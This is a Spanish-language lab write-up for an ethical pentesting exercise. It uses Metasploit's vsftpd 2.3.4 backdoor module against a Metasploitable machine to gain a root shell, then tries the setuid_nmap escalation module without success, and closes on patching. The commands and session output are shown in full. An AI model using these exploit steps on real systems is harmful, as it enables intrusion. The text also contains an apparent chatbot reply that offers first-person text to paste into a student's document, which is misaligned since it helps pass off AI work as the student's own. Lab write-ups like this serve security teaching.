En la maquina Kali en la terminal se usa el comando

```
msfconsole
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOST <IP-Target>
run
```

estos comandos representan un flujo de trabajo estándar en Metasploit para **seleccionar un exploit, configurarlo con los detalles del objetivo y luego ejecutarlo para intentar obtener acceso al sistema remoto.**

Se uso el comando `use exploit/unix/ftp/vsftpd_234_backdoor`

```
msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > █
```

el exploit está cargado y el payload por defecto ha sido seleccionado, el siguiente paso es **configurar el RHOST (la IP de la máquina víctima)** y luego ejecutar el exploit.

Se usa el comando `set RHOST <IP-Target>` en la dirección ip de la maquina que atacaremos

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.1.132
RHOST => 192.168.1.132
```

Luego se ejecuta el comando run para iniciar el proceso de exploit


```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 192.168.1.132:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.132:21 - USER: 331 Please specify the password.
[+] 192.168.1.132:21 - Backdoor service has been spawned, handling ...
[+] 192.168.1.132:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.144:44193 → 192.168.1.132:6200) at 2025-06-18 11:50:58 -0400
```

El Metasploit Framework, utilizando el módulo `exploit/unix/ftp/vsftpd_234_backdoor`, se conectó al servidor FTP vulnerable en la máquina Metasploitable. Aprovechó la puerta trasera conocida en esa versión de vsftpd para **ejecutar código arbitrario en el sistema objetivo**. Esta ejecución de código resultó en la **creación de una shell de comandos interactiva**, dándote **acceso remoto con privilegios de root** a la máquina Metasploitable.

```
msf6 > use exploit/unix/local/setuid_nmap
[*] No payload configured, defaulting to cmd/linux/http/aarch64/meterpreter/reverse_tcp
msf6 exploit(unix/local/setuid_nmap) > █
```

```
msf6 > use exploit/unix/local/setuid_nmap
[*] Using configured payload cmd/linux/http/aarch64/meterpreter/reverse_tcp
msf6 exploit(unix/local/setuid_nmap) > █
```

Claro, aquí tienes una explicación que puedes copiar y pegar directamente en tu documento de Word, redactada en primera persona, como si fueras tú quien la escribe:

Paso 4: Escalada de Privilegios

En esta fase, mi objetivo era identificar y, si fuera necesario, utilizar técnicas para escalar privilegios en la máquina objetivo (Metasploitable). La escalada de privilegios es crucial si el acceso inicial al sistema se obtiene con un usuario de bajos privilegios.

Acceso Inicial y Nivel de Privilegios Obtenidos: Después de explotar la vulnerabilidad del backdoor de vsftpd 2.3.4 (CVE-2011-2523), obtuve una sesión de shell de comandos en la máquina Metasploitable. Al verificar mi nivel de privilegios dentro de esta shell, pude confirmar que ya tenía acceso de root.

Para verificar esto, ejecuté los siguientes comandos:

- `whoami`
- `id`

Ambos comandos confirmaron que mi usuario era root (uid=0), lo que significa que ya contaba con los máximos privilegios en el sistema.

```

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] Using configured payload cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOST 192.168.1.132
RHOST => 192.168.1.132
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 192.168.1.132:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.132:21 - USER: 331 Please specify the password.
[+] 192.168.1.132:21 - Backdoor service has been spawned, handling ...
[+] 192.168.1.132:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 2 opened (192.168.1.144:41247 -> 192.168.1.132:6200) at 2025-06-18 12:10:17 -0400

whoami
root
id
uid=0(root) gid=0(root)

```

Intento de Escalada de Privilegios Adicional (según el ejemplo del laboratorio): Aunque ya había obtenido acceso de root, mi guía de laboratorio sugería el uso del módulo de Metasploit `exploit/unix/local/setuid_nmap` como un ejemplo de técnica de escalada de privilegios local. Procedí a intentar cargarlo y configurarlo.

Los comandos ejecutados fueron:

1. `back` (para salir del contexto del exploit anterior y volver al prompt principal de Metasploit)
2. `use exploit/unix/local/setuid_nmap`
3. `set SESSION 1` (intentando usar mi sesión de shell existente, la cual tenía ID 1)
4. `run`

Sin embargo, al intentar ejecutar este módulo, Metasploit arrojó un error de validación (`Msf::OptionValidateError The following options failed to validate: SESSION`). Esto ocurrió porque el módulo `setuid_nmap` requiere un tipo de sesión más avanzado (como una sesión de Meterpreter) para poder funcionar, y la sesión que obtuve inicialmente a través del `vsftpd` backdoor era una shell de comando básica.

Conclusión de la Fase de Escalada de Privilegios: A pesar de que el módulo `exploit/unix/local/setuid_nmap` no pudo ser utilizado en este escenario específico, el objetivo de la escalada de privilegios fue alcanzado. La vulnerabilidad del backdoor de `vsftpd` 2.3.4 es tan crítica que me otorgó directamente el acceso con privilegios de root desde la explotación inicial. Esto demuestra que en ocasiones, la vulnerabilidad inicial es tan severa que la escalada de privilegios se logra de forma implícita y directa, sin requerir pasos adicionales.

Conclusión

A lo largo de este ejercicio de pruebas de penetración, he podido aplicar y comprender las fases fundamentales de un proceso de pentesting ético. Desde el reconocimiento inicial con herramientas de escaneo hasta la fase de explotación y la posterior confirmación de acceso, se ha demostrado cómo las vulnerabilidades en los sistemas pueden ser identificadas y aprovechadas.

Específicamente, la explotación de la puerta trasera en el servicio vsftpd 2.3.4 de la máquina Metasploitable ha ilustrado la criticidad de mantener el software actualizado y configurado de forma segura. El acceso directo con privilegios de root obtenido tras esta explotación subraya la severidad de ciertas vulnerabilidades, que pueden eliminar la necesidad de pasos adicionales de escalada de privilegios en escenarios reales.

Este laboratorio ha reforzado la importancia de una seguridad proactiva. La identificación de vulnerabilidades, incluso en entornos intencionalmente débiles como Metasploitable, resalta la necesidad imperativa de realizar auditorías de seguridad regulares, aplicar parches y actualizaciones de software de manera constante, y deshabilitar servicios innecesarios o inseguros. Solo a través de una comprensión profunda de cómo los atacantes operan y de las debilidades comunes de los sistemas, se pueden implementar medidas de mitigación efectivas para proteger los activos digitales.